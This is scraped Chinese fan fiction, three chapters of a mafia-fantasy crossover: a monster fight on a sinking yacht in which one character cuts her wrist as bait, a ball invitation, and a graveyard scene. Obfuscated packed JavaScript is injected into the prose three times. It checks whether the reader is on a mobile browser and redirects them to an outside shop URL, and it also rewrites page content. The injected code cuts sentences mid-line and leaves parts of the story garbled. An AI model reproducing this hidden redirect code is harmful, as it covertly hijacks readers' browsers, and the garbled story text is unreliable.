甫一跑到安全距离,艾莎就引爆了安置在船底的炸.药。与此同时,沢田纲吉颇有默契地向前一扑,大空火焰瞬间爆发,带着她一起冲出了暗道。 船身巨震。他抱着她翻滚一圈,借势抵消了冲击的余波。 “没事吧?”沢田纲吉轻声询问道,棕色发丝因为低头的动作而微微擦过她额间。 艾莎眨眨眼睛,然后摇了摇头。 见状,沢田便放开了她。他站起身,镇定地将披风上细碎的瓦砾与灰尘掸落,迅速思考着接下来的对策。 他们现已回到二层尽头的小房间。如若再要原路返回,势必还要穿过一堆厚重的塑料隔帘与内舱过道。以目前的状况来说并不安全。 要尽快离开船舱。现在要找的东西已经拿到,再没有什么需要顾虑的地方。 ——如果没有其他去到室外的道路,就用最简单的方法直接开辟一条出来。 这么想着,沢田纲吉面向外侧墙壁,神色冷淡地张开了手掌。 一旁的艾莎像是猜到了他要做什么,于是及时捂住了耳朵。 又是一声巨响。船舱被直接轰出一个大洞,海风呼啸灌入,吹散了四面浮起的烟尘。 有不少怪物在方才受到波及,被大空火焰直接燃尽成灰。甲板上瞬间多出一小片空地,他们趁着这个机会跃到室外。 “Ⅹ世!”德维尔家族的高层、那位年逾古稀的老人半是惊喜半是焦急地向前踏了一步,“这件事绝不是……” “这些话过后再说,现在不是时候。”沢田纲吉干脆地打断了他。 他冷冷望着周遭躬起背脊、蓄势待发的灰白肉块,它们的身体不断耸动着,像是尚未停止生长。 “你们先离开,这里交给我处理。” 闻言,老人肉眼可见地松了口气。他快步来到伊凡·德维尔面前,后者一把挥开他的手,只死死盯着站在前方的沢田纲吉,面目扭曲。 “为什么还活着——?杀了他们、为什么他们还活着?我命令你们杀了他们!” 他癫狂地挥舞着双手。老人愣了一下,才意识到这话并不是对他说的——伊凡·德维尔居然是在跟那群怪物说话,就好像指望它们会听从他的命令似的。 老人闭上眼睛,深吸一口气,然后拎住伊凡·德维尔的衣领,将他从轮椅上提起。 这时直升机已经离开地面相当一段距离,驾驶员抛了索降下来。 沢田纲吉用余光瞥了一眼身旁的女孩——她正若有所思地望着还在源源不断涌出的怪物群——他刚要开口,想要说的话却被她抢先一步。 “这里情况太危险了。纲吉君先走,其它的我来处理就好。”艾莎先是这么面目严肃道,随即又趁机转头,狡黠地冲他眨眨眼睛,“——要是纲吉君不希望我说出这样的话,就也别对我讲类似的台词喔?” “况且论起应付这种东西,我的经验可比纲吉君多多了。” “…明白了。”他沉声道,“要怎么做?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658814|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' -- 直升机摇摇晃晃着升腾而起。 那些怪物似乎认准了他们是更好猎取的对象。于是一次接一次地蜂拥着扑上来,又一次接一次在Ⅹ世的死气之炎中化作飞灰。 与地面的距离越来越远。 直到Ⅹ世与他带来的护卫在视野中变作模糊不清的两小团人影,他才真正意义上的放松下来。 脱离了危险,被他拎在手中的伊凡·德维尔不知何时也安静下来。 老人舒了口气,刚想示意驾驶员把他们拉上去,下衣衣摆却是一沉。 “叔……叔……”是伊凡的声音,听起来虚弱且动摇。 他下意识低头望去,在看清状况后,不禁也倒吸了一口冷气。 有一只怪物——有一只怪物正紧贴在伊凡·德维尔的小腿上! 它的体型太小,只有同类的三分之一大。所以刚才就连Ⅹ世都没察觉到它的存在,这是跟着他们从游艇离开的、唯一一条漏网之鱼! 老人想要点燃火焰,但他的精力早已在方才的战斗中耗尽了。 他只能眼睁睁看着怪物轻盈爬行到伊凡·德维尔的脚脖子处,这团灰白色的肉块贪婪地张大了嘴巴。 它的进食过程缓慢而无声,没有咀嚼,只有吞噬;这种攻击方式让人不可抑制地联想起非洲丛林中的巨蟒,传说那是世界上最大的蟒蛇,可以轻松吃掉比自己身形庞大数倍的猎物。 “叔叔……是不是有什么东西、是不是有什么东西在我背上?”伊凡·德维尔问道。 由于瘫痪,他的下肢没有任何知觉。但即便如此,他还是凭借生存的本能感到了某种危机,只是没有胆子回头亲自确认而已。 刚刚还视怪物为下仆的疯子,此刻竟终于感受到真实的恐惧。 老人动了动嘴唇,却一句话也说不出来。这时伊凡的小腿已完全没入怪物嘴中,那团肉块被撑出人腿的形状,躯体因此延长了数倍。 紧接着,它的身体表面开始发红,并呈现出某种新生儿的肉粉色;有红线如树木枝条般在其上发散式地生长,就像血管被凭空构建。 血管之后,是皮肤与毛发。等它顺着伊凡的腿更近一步,就变得更加像人:头发乌黑,眼眶深邃,那是阿拉伯人种的特征。 在老人惊恐的注目下,它开始变得像个来自中东的小男孩,十二三岁的模样,只是半睁着一双暗金色的眼睛,空洞得如同地狱爬出、注定要饮血讨债的恶鬼。 “叔叔……我背、背后是不是有什么?帮我弄掉它、帮我弄掉它!”伊凡再次催促道。他还不知道自己的下肢已尽皆没入怪物口中了。 怪物还在不断变化。它的口中开始长出尖牙,脸上出现细密鳞片,身体的下半部分合为一条,在空中逐渐有力地甩动起来,让人想到蛇尾那样的东西。 再等等……也许还能有精力点燃一次火焰。 他一边这么想,一边继续低头望着伊凡·德维尔——这是先代的孩子,他必须保住他的命。 他试图从每一寸肌肉中重新压榨出力量,并为此感到一种剧烈的、难以忍受的疼痛。 他轻轻颤抖起来——再撑一撑……几秒钟就好、再有几秒钟就好! 一阵头晕目眩中,伊凡·德维尔的脸与先代的脸渐渐重合在一起。父子血缘,眉眼到底是相像的。 可两张脸重叠到一定程度,却又泾渭分明地分作两个。 因为恐惧和缺氧,正有大滴大滴生理性的泪珠从伊凡·德维尔眼中涌出。而先代……先代是做不出这种表情的。 那是微笑着践踏圣经的男人;却偏偏生下奉宗教典籍为至宝,在绝望中懦弱不堪的儿子。 “人的仇敌,就是自己家里的人。” 老人心里陡然一空。四周突然变得很静,耳边所闻只有风声。 反应过来以后,他慢慢慢慢地低下了头。 那里什么也没有。 他松开了手。 56. 第54章 终 笨 蛋 情 人身蛇尾的怪物在澄明的大空火焰中嘶声咆哮。 它的身躯被烈焰焚烧,正一点一点地变黑变小。可即便如此竟还是不死,反而动作极快地向一旁逃窜,力图撤出火焰的攻击范围。 见状,沢田纲吉单手向后。死气之炎瞬间迸发,消灭掉从背后偷袭的一大群灰白色肉块的同时,也令他飞身而起,封锁住了蛇尾怪物的退路。 在刚才的战斗中,他已领教过那种恐怖的生命力与恢复能力,因此不敢掉以轻心。 手中炎压不断增大。蛇尾怪物不甘地仰天怒吼。又是数十秒过去,那被火焰烧得枯瘦的身躯才彻底燃尽成灰。 沢田纲吉微微松了口气。这一次他的视野得以短暂清明,没有立即被铺天盖地袭来的敌人重新填满。 他倒悬在游艇三层凸起的船板下。甲板上的景象颠倒地倒映在他眼底。 那是炼狱般的场面。 船上密密麻麻堆满了蠕动的灰白色肉块。这些东西有着极强的攻击性,骤然失去可以猎取的目标,就转而撕咬起身边的同类。 那些体型更小的被残忍地分食吞噬,而得益者的身躯变得更为庞大。 由于吞噬的速度不同,这些怪物变化的进程也不统一。有些尚停留在最初状态,有些却已经长出类人的四肢与五官——从它们的眉目间依稀可以辨认出中东人的人种特征。 一张张失去生机的面容呈僵死的灰白色,把一双双正莹莹发亮的暗金色瞳孔衬托得尤为阴诡。 这些眼睛突兀得像是被人为镶嵌进那些深陷的眼窝中的。它们照亮了那些扭曲变形的面目,在疯狂与挣扎之间、残杀与被残杀之间,如同鬼火般阴岑岑地烧着。 何等的混乱、血腥与仓皇。 这个世界上,再没有比这更加亵渎死者的事。 就是为了这种事死的…… 或许是愤怒过了头,他反而感到一股令人胆寒的滑稽。 就是为了这种东西死的么? “纲吉君!” 耳边响起一声暴喝。他回过神,发现有一只人身蛇尾的怪物正从侧面桅杆的顶部高高跳下、朝他扑袭过来。 怪物从天而降。它的嘴角向两边夸张地咧着,露出满口尖牙。 沢田纲吉正欲闪身躲避。进袭者的身体却在离他1米左右时高高弹开,就像撞在了一道看不见的空气屏障上。 他低下头,与望过来的艾莎飞快对视一眼,接着就势跃起,将手掌上的火焰威力控制到最大。 那只蛇尾怪物在半空中无处闪躲,被死气之火迎面痛击,重重摔落在甲板上。 它长长的、焦黑的手臂飞快探向四周的同类——只要继续吞噬,它的伤就还能复原——然而却被两把短刀无情斩断。 等到怪物彻底停止动弹,艾莎才抽回插在它脑中的武器。她随手甩动一下,刀身上多余的血珠飞溅出去。 或许是明白了双方实力的差距,又或许是沢田用死气之火做了什么,原本无休无止的进攻暂缓。敌人们谨慎地把他们围在正中,甲板上一时出现了一个以他们为圆心的真空地带。 得到短暂的喘息机会,艾莎首先确认了一下沢田纲吉的状态——他仍维持着蓄势待发的迎击姿态,一双手紧紧地攥成拳头;只是微微低着头,从她的角度看过去,只能看见柔软垂落的棕色额发。眼睛被挡住了。 但他没有受伤,至少表面上没有。 紧接着,她的视线落在了更远处的那些蛇形怪物身上。 这仿佛就是它们吞噬同类而后进化产生的最终形态:浑身爬满苍青色的鳞片;能够像人一样直立起来,只是支撑身体的并不是双腿,而是粗壮蜿蜒的、蛇一般的长尾。总体来说,外形与以前在日本遇到过的蛇形尸守相似,只是没有那么高大。 进化所赋予它们的显然不止更强大的力量与更叫人恼火的恢复能力。它们已学会躲藏在更低等的同类身后;此刻都微微偏着脑袋、金色的眼珠轱辘转动着,说不清在思考还是在挑衅。这种刻意类人的神态显现出一种别样的邪恶。 沢田大概也有差不多的感受。他靠得更近了些,不着痕迹地将她挡在身后。 然而那些蛇尾怪物并未进攻,而是更加后退。最远的那些已经退至游艇边缘,与他们隔着数十米之远。它们同样死死盯着这边的动向,像是随时准备着瞄准空隙、跃入海中。 “…想逃么?”他面色微凝。 “大概是。”艾莎说。她屈起手肘,用袖子来回擦了擦短刀上残余的血渍。 “不能让它们逃走。这些东西一旦遇上渔船、或者登上陆地就麻烦了。”她轻声道,“纲吉君算过么?用你威力最强的招式的话,彻底消灭掉它们要多长时间?” “15秒。”沢田沉声回应道,他的眉头仍然紧锁着,“但X-Burner是定向攻击。以目前的状况,大概没办法一击全中。” 且不说这些蛇尾怪物不会乖乖承受死气之火的攻击;到时如果仅仅破坏船只,反倒会起到反效果,帮它们更早一步遁入海中。 “没问题。只要吸引住它们的注意力就行了,”艾莎平静地说,“我来当饵。” 说完,她干脆利落地翻转刀口。 “艾莎!?” 沢田纲吉一把拦住刀柄。然而来不及了,女孩动作太快,他只能眼睁睁看着她切开了自己的左手手腕。 下刀很重,血就像花一样在刀口破碎。 一瞬间仿若时间静止。 在船上厮杀的肉块停止了厮杀,在边沿观望的怪物停止了观望。 它们停下了一切动作,接着整齐划一地调转头部,呆滞而安静地朝向鲜血的来源。 -- “效果还挺好的……啊,龙族靠吞噬血肉进化,这些东西也继承了这种特性。我的血对它们而言是最好的进化药,它们抵挡不住那种诱惑。”艾莎不忘向一旁的沢田解释。 然而沢田纲吉没有任何回应。他微微垂着头,棕色的额发在他眼部投下浅浅的阴影,艾莎看不清他的表情。 “纲吉君的X-Burner是准备时间越久威力越大对吧?”她挠挠头,但还是继续道,“那我待会儿就往船头跑,帮你争取更多时间。” 听她自顾自往下说,沢田纲吉的嘴唇轻微动了动,握在刀上的手也跟着抖了抖。 “嗯……我没什么大范围的攻击手段,所以之后的事就拜托纲吉君了。” 除此之外好像也没什么需要再说的了,但沢田还是一言不发。艾莎只好强压下心里的困惑,试探性地对他笑了笑。 只是因为失血过多,这个笑容难免来得有些苍白。 沢田纲吉握在刀柄处的手陡然加重了力道。 “纲吉君…哎呦纲吉君你小心点别沾上我的血……”见他还有往前凑的趋势,她赶紧退开一步拉远了距离。 他的嘴唇又动了动,这次声音还是不大,很快就被呼啸的海风卷走。 “…什么?”她不安地抿了抿唇。 这个追问在这个当口明显只起到了火上浇油的作用。 “——我说别开玩笑了!”沢田纲吉猛地抬起头。现在她看清楚了——那双暖棕色眼睛正惊怒交加地瞪着她,其中好像有烈火在熊熊燃烧。 他的声音也跟平常不一样,像是梗在喉咙里很久才发出来的;嘴唇仔细看的话还有那么点轻微颤抖,显然是愤怒到了极点的表现。 “诶——啊——?”她有点莫名其妙,外加一点没来由的心虚,当然更多的是委屈,心里想着他居然瞪她——居然瞪她—— “还有其它办法不是么?我绝不同意——”他话说到一半又停住,胸口剧烈地起伏一下,“我不可能让艾莎牺牲自己——” 什、什么牺牲自己!? “你才要牺牲自己呢!”她听明白了他的意思,湛蓝色的眼睛睁得更大了,“都说了只是诱敌!诱敌!我怎么可能被这种杂鱼打倒——还是说X-Burner其实是什么360度无差别攻击的恐怖招数!?或者、等等,难道你刚刚想的是连带着我一起轰飞么?这也太过分了纲吉君!” “才不是!”她绝对又开始脑补什么奇怪的东西了! 他的怒火烧得脑仁嗡嗡直叫,自己也搞不清自己是在回答她的哪个问题。 “那不就行了!你待会儿只要调整一下角度——”她察觉到他仍谴责地盯着她受伤的手腕,原本高涨起来的气势瞬间委顿下去。 “唔、我切的是静脉!只是看着血多……” 居然还说这种话——沢田纲吉的肝火再一次旺盛地烧起来——这件事跟静不静脉的一点关系都没有!她都不觉得有哪里不对么?他从没见过有人能这么面不改色像切萝卜一样切自己的要害! 艾莎在他威严的瞪视下抖了抖。她心虚地把左手藏到身后,索性闭着眼睛破罐子破摔: “反、反正我切都切了!既然这样就不要浪费,我们先把眼前的这些玩意儿解决掉行不行!?” 四周的灰白色肉块尚未有所行动,但气氛已如扣在弓弦上的箭般,紧绷着蓄势待发。 更遑论远处的那些蛇尾怪物,它们的瞳孔呆滞地放大了,粗壮的蛇尾在身后有力地摆动着。 地面轻微摇晃起来。海浪躁动不安地拍打着船身。 沢田纲吉当然知道,他们已没有多少拖延的时间。 “…我明白了。”他闭了闭眼,勉强同意了她的提议。 “等等等等!”眼看他就要利用死气之火离开甲板,一副面无表情、眉头紧锁的样子,艾莎心里莫名一慌。她一把拽住了他的披风,拽住以后却又不知道说什么。 这种时候应该说点叫人安心的话吧?比如向他保证她一定会平安无事地回来的什么的…… 结果在沢田冷酷的注目下,她脑子一抽,从嘴巴里溜出两句二师兄听了都要掩面的烂话: “记、记得不要打中我喔?否则做鬼也不放过你啊喂……” 如果是平常的沢田,听了这话一定会吐槽回来。 可事实上沢田纲吉只是相当平淡地看了她一眼。在这一眼间,她体会到了“关于这件事的讨论绝对不会就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沢田纲吉感到右手微微震颤。他猛地闭了闭眼,强行收敛住心神。 38万FV…… 39万FV…… 40万FV! 汹涌的刚之炎自右手喷薄而出。 ——“X-Burner。” 10秒。 船身受到猛烈冲击,再次发出濒死的嗡鸣。船身从中间直接断开,尾部沉没,船头微微翘起。 那些灰白色的肉块最先在火焰中化为灰烬,紧接着是长出四肢的怪物。到最后,大空之炎中只剩下蛇尾怪物被拉长的黑影。 它们犹不放弃,拼着最后一点生命力疯狂向前扑去。 低低的吟唱声凭空响起。女孩抓着栏杆,口中吟诵起太古失落的语言。 急速旋转的风刃抵挡住进攻,又在无形中助长了火焰的威势。 两相夹击下,余下的蛇尾怪物哀嚎着挣扎,身躯被卷着火焰的风刃直接绞成数以千万计的碎片。 ——言灵·无尘之地。 5秒。 他在船头彻底沉没前赶到。 女孩仰着头,虚弱又讨好地冲他笑了一下。 “你看我就说没事吧……”她在他的瞪视下缩缩脖子,果断抓住他伸出的手,很识时务地转了口风,“我的意思是、你别生气……” 他没理会这种讨巧的道歉,只闷闷地仔细检查她的伤势。 除了左手手腕的伤口以外,脸上和肩膀上也多了几道擦伤。但最严重的还是她自己割的那道,深可见骨,皮肉触目惊心地外翻着。 “小伤小伤。”她讪讪说,“待会儿自己就愈合了。” 然后她沮丧地发现沢田好像更生气了。 “…回去再说。”他冷冷道,难得的流露出几分Mafia首领的强势与威严,手上却十分轻柔地托起她的腿窝,避开全部伤口、小心翼翼地将她抱在怀中。 “唔喔……” 耳边狂风呼啸,海面离他们越来越远。 艾莎缩在沢田怀里,脑袋无意识地在他胸口蹭了蹭,又晕乎乎地仰头望着他。 以前她没从这个角度看过他,一时觉得有些新奇。从凸起的喉结开始,她的目光一路向上,在凌厉的下颌线条处停留片刻,最后又到沢田紧锁的眉头…… 说起来,他点燃死气之火的时候好像永远都是皱着眉的样子。 这么想着,她鬼使神差地伸出手,在他眉前撩了一下。 没真碰到他的脸,只是手指堪堪擦过几缕柔软的棕色发丝。 “……” 沢田纲吉面无表情地垂眼,与她静静对视。 明明仍是熟悉的温柔眉目,此刻却又好像多出一点与往常不同的意味来。 狂风吹拂。狂风好像又安静了一刻。 艾莎眨眨眼睛,突然有些突兀地移开了视线。 57. 第55章 墓园 她在冰封的铜柱上狂奔。 天空是血红色的,浓云滚滚;黑色的巨龙就在云层深处旋舞,时不时显露出的身影威严莫测。 无数生着骨翼的死侍拦住她的去路。她一次又一次地挥舞武器,每次都觉得是最后一次了,每一步都近乎踉跄。 眼前一花。猛然间她被腾空举起,又忽的被横着甩落,重重摔在坚实的冰面上。 她仰面躺在那里。一时觉得自己再度站了起来,一时发现没有。 ……好像下雨了,雨滴一滴一滴砸进眼睛里,使高悬的铜柱变得越来越模糊。视野里开满了黑红色的雨滴。 雨水也从她身体里涌出来,眼睛和嘴只能被迫僵硬的一张一合。她边觉得自己现在的样子一定很蠢,边逞闲心估算刚刚是跑到哪个位置才摔下来的。 那条路真长啊。 这样也好。那么长的路,她实在没必要走到尽头。 视野里充满了黑色的雨。不知过了多久,她的后脑被人轻轻托起。 入目是一张熟悉的衰脸,她下意识冲那张脸笑了一下;隔着炸开的雨滴间隙,衰脸的主人似乎也回了一个笑。 脑海中莫名响起森严冰冷的声音。意识深处仿佛有一双黄金瞳缓缓张开,比天上盘旋的巨龙更加古奥,隐隐却又带着父兄般的威严。 那道声音命令她: ——“不要死!” “……!” 艾莎猛地睁开眼睛。黑发垂落到眼前,她隔着发丝适应骤然明亮的光线,喘息声轻而急促。 耳边响起谁的惊呼,接着又是一连串喋喋不休的尖利轰炸。她愣了半晌,直到手上传来的挣扎感越发明显,才意识到自己正抓着什么东西。 她蓦地松开手。手里的东西兔子般挣脱了。 “菲奥娜·怀特!你发什么疯!?” ——站在眼前的是克里斯蒂娜,那位不幸被卷入第二场【game】的金发大小姐,此刻正柳眉倒竖的兴师问罪。 只见她心有余悸地拿左手护着右手手腕,左肘还挂着一条一看就质地柔软的羊毛毯子。 “看什么看!”察觉到艾莎的视线转移到了羊毛毯上,克里斯蒂娜立即恶声恶气,“我看你被子掉了,好心帮你捡起来而已!” “哦……谢谢。”艾莎点了点头。她都不记得自己是什么时候睡着的,睡之前当然也不可能盖着毯子。但没必要跟蒂娜争论这个。 “你的腿没事了么?”记得上一次分别时,克里斯蒂娜被【game】的玩家所害,受了很严重的伤。她只帮她做了应急处理。 “当然!”许久不见,克里斯蒂娜依然没有改变她每句话都以感叹号结尾的说话风格,“那种小伤只要用晴属性的火焰治疗,想痊愈根本只是一眨眼的事!” “哦……”艾莎兴致缺缺地点了点头,“找我有什么事么?” “我听爱德华多说你受了伤,所以来看看。”说着,克里斯蒂娜用一种充满怀疑的目光把艾莎从头到脚审视了一遍,“明明活蹦乱跳的啊?力气还那么大——不过精神看着好像是不大好……” 艾莎没吱声。她精神的确不好。 那天从船上回来后,沢田纲吉不由分说就把她塞进了彭格列的医疗部。要她说她受的伤根本不重,冲个澡再睡一觉就好了。 事实证明这儿的医生和学院里的一样喜欢小题大做。在做了几项简单检查后,彭格列的医师居然诊断她患有严重的贫血与营养不良问题,并强迫她连续打了两天点滴。 更糟糕的是——说不定就是点滴的原因——她又开始睡不着了、好不容易睡着,又做那种不吉利的怪梦。 这时,她心底出现一个小小的、反驳她的声音。 可你明知道、你睡不着压根不是因为什么点滴…… 艾莎将那道声音镇压下去,并强行让自己的注意力集中到正在滔滔不绝的克里斯蒂娜身上。 “…所以,你要来么?”克里斯蒂娜冲她昂昂下巴。 “来什么?”艾莎回以茫然的眼神。 “哈?菲奥娜·怀特!我刚刚说的那么一大堆你都没听是吧!?”克里斯蒂娜尖叫起来,“——当然是我的成人舞会!我从三年前就开始筹备了!” “唔……”艾莎龇牙咧嘴堵住耳朵。社交场合什么的一听就很麻烦,她想都没想就打算拒绝。 “…说是我的成人舞会,其实也是Mafia聚会的借口而已。别看爱德华多那个样子,在里世界还是很有地位的。很多人找不到接近彭格列的机会,就都过来巴结他。”克里斯蒂娜冷哼一声,“不过说到底也是我的成人舞会。凭什么邀请的都是我不想邀请的人……Mafia干脆全都死光算了!” 可纲吉君不也是Mafia么……艾莎抽了抽嘴角,但没说话。 “所以、你要来么?”克里斯蒂娜偷偷摸摸看过来一眼,很快又高傲地撇过了头,“——别误会!我只是想邀请一点本来没办法在舞会上出现的人、顺便气一气爱德华多而已!才不是特意邀请你!你也别擅自以为是我的朋友什么的!知道么!?” ……不、她们本来也不是朋友吧? 这句话差一点就脱口而出了。但不知为何,望着蒂娜悄然握紧的双拳和绷紧的下巴,艾莎又把话咽了回去。 她顺手拿起蒂娜拍在桌上的邀请函。 “这周日么……?”看到上面的日期,艾莎微微一愣。 【game】的事已经结束,绷带男定下的一月之期也将在周四截止。 按照她原本的计划,如果一切顺利的话,这周日她应该已经离开西西里岛了。 “怎么?你周日有事么?”克里斯蒂娜立即问。 “…不,没什么。”艾莎摇了摇头。她犹豫一下,才又道,“能问个问题么?” 听到她的话,克里斯蒂娜有些讶异地扬了扬眉,不过似乎又有点开心的样子。 “什么问题?问吧!”她故作傲慢,嘴角却悄悄翘起了。 “死气之火……你当初是怎么点燃的?” “你要点燃死气之火么?”克里斯蒂娜有一瞬间显得非常吃惊,“也是……哼、你肯定要点燃的嘛……” “我的话是经过了各种辛苦修行,体能训练还有冥想什么的。没有爱德华多的允许,我根本搞不到死气弹。”她没好气地说,“不过你应该不用那么麻烦,纲吉先生肯定会帮你准备好死气……” 她酸溜溜地说到一半,突然戛然而止;紧接着又阴气森森地缓慢重复一遍: “——纲吉先生肯·定·会·亲·自·给·你·打·死·气·弹·的!” “……然后呢?” 艾莎不明所以。 她们对视片刻。克里斯蒂娜面部肌肉抽动一下,随即一个饿虎扑食,猛地抓住了她的肩膀。 “你难道不知道死气弹的效果么!?” “不是借由内心深处最后悔的事激发人的潜力么?”艾莎丈二和尚摸不着头脑。 “——才没有那么简单呢!”克里斯蒂娜一脸狰狞。 -- “你就打你的死气弹去吧!”临走以前,克里斯蒂娜恶狠狠地说道,“我的舞会你爱来不来!不、你别来了!永远别来了!你就打你的死气弹去吧!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658816|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说是这么说,但她还是忘了收回那张邀请函。 蒂娜离开以后,房间又重回安静。只有雨滴静静敲击窗户的声音。 于是艾莎又原地瘫坐一会儿。 现在【game】的事已经结束,雅纪也在威尔帝处接受治疗(绿发的科学家不允许任何闲杂人等打扰,这种行为显得有些可疑。但既然沢田信任他,艾莎也选择相信他)。 她没什么其它事好做,又赶上阴雨天气;本来想打会儿游戏的,现在也没了心情。 那些关于死气弹的知识在她脑子里不断回荡。她一个人琢磨了半天,终于闷闷地叹了口气,决定出门寻找沢田纲吉。 ——那个回来以后就把她一个人丢在医疗部门,既像是忙到不见踪影、又仿佛是在刻意躲避她的沢田纲吉。 他不在医疗部,也不在办公室。半路上艾莎遇到了那个姓氏发音很复杂的什么什么隼人,可对方一看到她就拧着眉毛换了条道; 没有沢田的带领,她也不好独自去彭格列的地下建筑;正踌躇间,就在大厅二楼的拐角处遇到了Reborn。 黑衣的杀手似乎刚从外面回来。与艾莎对上视线后,他寒暄性质地点了点头。 “在找蠢纲?” “嗯。Reborn先生知道他在哪儿么?” Reborn瞥了她一眼。他没有刻意掩饰自己的目光,黑眸锐利,直白地透露出审视意味。 艾莎不知道他在想什么,只能硬着头皮任他打量。 幸而很快,杀手就压了压帽檐,言简意赅地回应了她。 “跟我来。”他直接示意道。 说着,他偏头看向窗外。尽管眼神依然深不见底,但话到尽处,又仿佛隐没着几不可察的叹息。 “他在后山的墓园里。” -- 彭格列总部的后山不高,但林木茂盛,粗壮的枝干与葱茏的树叶能把身后那座巍峨的庄园完全遮挡住。再加上隐约的鸟鸣与松鼠离巢的响动,清幽得会让人恍惚间忘记自己身在何处。 刚下过雨,山路泥泞,但对行走的二人来说构不成任何障碍。他们很快就一前一后地抵达了目的地。 Reborn在门口停下脚步,摆明了不想掺和进来。艾莎轻声向他道谢(他嘴角微勾地淡淡领受了),随即走进了空荡的墓园。 彭格列的家族墓园就像西欧城市里的每一座,静谧优美,丝毫不显阴森。里面的墓碑造型各异,有的简单朴素,落满萋萋藤蔓;有的却立有夸张的大理石雕塑,线条流畅,显然出自名家手笔; 还有一些则有点无厘头,比如她路过的一座,碑前铸有一根巨型象牙白餐叉,也不知道主人生前是特别喜欢吃还是想表达什么先锋思想,但总不可能是把餐叉作为武器…… 她花了些时间,才在墓园一个不起眼的角落找到沢田纲吉。 他站在一座灰扑扑的矮小墓碑前,仍披着黑色的首领披风,手中撑一把同样漆黑的伞。 艾莎曾觉得那件披风典雅得落后于时代。然而此刻,它却与古老的墓园相得益彰,把沢田衬得像一抹形单影只、孤单徘徊的幽魂。 在披风的遮挡下,他的背佝偻得不算明显,但也不难看出整个人正在微微颤抖。艾莎犹豫一下,故意踩在一根枯枝上。 随着“喀嚓”一声轻响,沢田立即回头了,眼神里带着显而易见的惊慌与尴尬。 令艾莎大为放心的是,他刚刚并不是在哭。但与此同时,他也的确是在做一件叫她感到惊讶、一件十分不‘沢田纲吉’的事情。 她带着点揶揄的笑意走近了。 58. 第56章 碑铭 很神奇的是,只是看到他的脸而已,她这两天所积郁的那种焦躁的、郁卒的坏心情便一扫而空了。 沢田还是呆立在那儿,像是不明白她怎么会突然出现在墓园里。他应该已经像这样独自待了很久,肩膀上落满细碎的雨水。 “纲吉君,”艾莎不动声色地指了指天,“雨已经停了喔?” “诶?……哦!” 他跟着向上望了望,反应过来后立即收了伞。惊慌失措、还有点手忙脚乱,与先前那个冷峻的Mafia首领判若两人,不过反倒更贴合他的实际年龄。 艾莎走近两步,他就下意识后退两步。不过没用,她身体微微前倾,绕过他去看他刚刚来不及处理、只能匆匆藏在身后的‘罪证’。 “纲吉君一个人躲在这里——”艾莎坏心眼地压低声音又拉长语调,“喝闷酒啊?” 他背在身后的手上握着一只烧瓶状的玻璃容器,里面还剩一小半淡褐色液体。尽管看不大清瓶身上的意大利语,但凑近沢田以后,她很轻易就闻到了他身上浓郁的酒气。 沢田纲吉的肩膀先是僵了一下,接着又无可奈何地松垮下去。 “…果然瞒不住……”他喃喃道,露出一种小孩子做坏事被抓包的窘迫神情;无助又无辜的样子。 “太明显啦。刚刚还看到你咳嗽,”她边说边指了指自己的脸,“脸都红了。” 之前在公寓,她曾与沢田分享过一瓶威士忌;印象中他不是一杯倒的类型,喝酒的样子很文雅;小口小口,每一口下去表情都没有改变,表现出一种对酒精殊无兴趣的冷静。 可现在他的脸完全红了,是咳呛所致的、那种不自然的红色;也因此,整个人呈现出某种初饮者特有的狼狈与青涩。 “第一次喝这种么?”她纯然好奇地问。 “几年前也试过一次,”沢田有点苦恼地笑了一下,他旋转瓶身,给她看包装上的‘GRAPPA’字样,“本来以为这几年有了长进,没想到还是喝不惯。” 继承家族以后,他避免不了的要同烈酒打交道。然而入口多是造价昂贵的威士忌,口感顺滑;不像格拉帕,大口大口灌下去,烧喉咙似的辛辣。 五六年前就喝不惯的酒,现在依然喝不惯。倒像是中间这一段时光里,什么都没有改变似的。 这么想着,沢田的视线重回刚才一直注视的东西;艾莎则跟随他的目光,同样望向那座矮小的、暗沉的墓碑。 碑身呈朴素的长方形,上面既没有纹饰也没有刻字;最顶头横着一支点燃的香烟,已快烧尽了;烟头处橙红色的光在灰色的余烬中忽明忽暗。 “是阿尔伯特的墓么?”艾莎轻声问。 “嗯。”沢田纲吉轻轻道,“本来想帮他做块碑的。但他没跟我说过自己的出生年月、姓氏也是。现在的家族成员也都不清楚,说了好几个不同的答案。最后只好就这么放着了。” 说着,他发出一个模糊的鼻音,像是笑了一声,眼神却非常平静。 “我是不是没怎么提过他的事?” 艾莎没有回答,算是默认。于是他便继续说了下去: “他原本是Ⅷ世的部下,在九代首领继承后就自己搬到了后山,不肯再参与家族事务……” 她垂下眼帘,安静地听他说话。 与那次在公寓中的颠倒生涩的诉说不同,这一次,沢田纲吉的叙述慢而有条理,声音低沉温柔。 